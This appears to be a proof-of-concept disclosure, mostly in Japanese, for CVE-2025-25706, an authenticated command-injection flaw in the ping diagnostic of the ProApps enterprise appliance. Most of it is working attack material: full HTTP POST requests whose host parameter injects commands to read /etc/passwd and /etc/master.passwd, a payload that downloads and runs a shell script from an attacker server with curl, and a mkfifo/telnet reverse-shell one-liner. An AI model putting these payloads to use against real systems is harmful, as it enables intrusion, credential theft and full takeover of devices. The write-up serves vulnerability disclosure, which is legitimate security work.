cotherm/cve-2025-25706CVE-2025-25706の詳細な概念実証：ProAppsのping機能におけるコマンドインジェクションを介した認証済みリモートコード実行を示すもので、リバースシェルペイロードと悪用手順を含む。
Product Vendor: freebsdbrasil
Item: ProApps - Enterprise Appliance
Editor Creator: DreamWeaver
PHP: PHP Version 7.3.18
Java Script Library: Jquery UI 1.6 | Jquery 1.2.6
Server: NGINX
Operational System: FreeBDS Unix
リモートコード実行
この脆弱性は、ユーザーが ping 機能を使用してアプリケーションにシステムコマンドを注入できるために発生します。Unix 環境では、(;、&&、|) などのシーケンスコマンド演算子を追加することで実行可能です。この脆弱性を悪用するには認証が必要です。ユーザーは「Status」という権限グループに属し、「Modified」権限を持っている必要があります。また、悪用を成功させるには入力サニタイズを回避する必要があることにも言及しておくことが重要です。アプリケーションはフロントエンドでのみユーザー入力を検証するため、例えばネットワークプロキシ経由でリクエストを送信する必要があります。このようにして、アプリケーションによって課された制限をバイパスします。
認証後、sta_rede.diagnostico_ping というページにアクセスする必要があります (http(s)://vulnerablepage.index.php?page=sta_rede.diagnostico_ping&task=view)。このページは、任意のホストに対してICMPリクエストを実行する機能を提供します。pingユーティリティとICMPプロトコル（Request and Reply）の詳細については、参考文献セクションで言及されているRFCを参照してください。
アプリケーションは、host、testar_pacote、ttlのパラメータを含むPOSTリクエストを送信します。ここで、hostはpingのターゲット、testar_pacoteは送信するICMPリクエストの数、TTLはパケットのTime to Live（TTL）です。リクエストを送信すると、アプリケーションはUnixシステム上で次のコマンドを実行します: ping -c $testar_pacote $host。以下はその機能を示すPOSTリクエストです:
POST /include/sta/rede.diagnostico_ping.ajax.php HTTP/1.1
Host: vulnerablewebsite.com
Cookie: PHPSESSID=6457d273b50b3bbaea19cbb4500d6577
Content-Length: 66
Authorization: XXXXXXX
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded
Origin: https://vulnerablewebsite.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://vulnerablewebsite.com/index.php?page=sta_rede.diagnostico_ping&task=view
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
page=sta_rede.diagnostico_ping&host=8.8.8.8&testar_pacote=1&ttl=64
ここで攻撃ベクトルが確認できます。ユーザーは、ネットワークプロキシを介して悪意のあるPOSTリクエストを送信することで脆弱性を悪用できます。hostパラメータにシーケンスコマンド演算子（;、&&、|）のいずれかを追加することで、入力サニタイズをバイパスします。Webアプリケーションは前述のpingコマンドを実行し、その後に追加のコマンドを実行します。例えば、/etc/passwdや/etc/master.passwdなどの機密ファイルの読み取り、リバースシェルの取得、任意のコマンドの実行が可能です。
以下のPOSTリクエストは、細工された悪意のある例です:
POST /include/sta/rede.diagnostico_ping.ajax.php HTTP/1.1
Host: vulnerablewebsite.com
Cookie: PHPSESSID=6457d273b50b3bbaea19cbb4500d6577
Content-Length: 66
Authorization: XXXXXXX
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded
Origin: https://vulnerablewebsite.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://vulnerablewebsite.com/index.php?page=sta_rede.diagnostico_ping&task=view
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
page=sta_rede.diagnostico_ping&host=8.8.8.8; cat /etc/passwd;cat /etc/master.passwd&testar_pacote=1&ttl=64
sta_rede.diagnostico_ping へのHTTP POSTリクエスト:
page=sta_rede.diagnostico_ping&host=x.x.x.x;curl -O http://attackserver/maliciousfile.sh; chmod +x maliciousfile.sh; ./maliciousfile.sh&testar_pacote=1&ttl=64
TF=$(mktemp -u);mkfifo $TF && telnet $attacker.ip $attacker.port 0<$TF | sh 1>$TF
指定されたポートでNetcatを使用してリスニングすることで、リバースシェルが正常に開かれます。
RCE（リモートコード実行）の脆弱性により、攻撃者はリモートデバイス上で任意のコードを実行でき、システム全体の侵害、データ漏洩、横展開、マルウェア展開、評判および金銭的損害につながる可能性があります。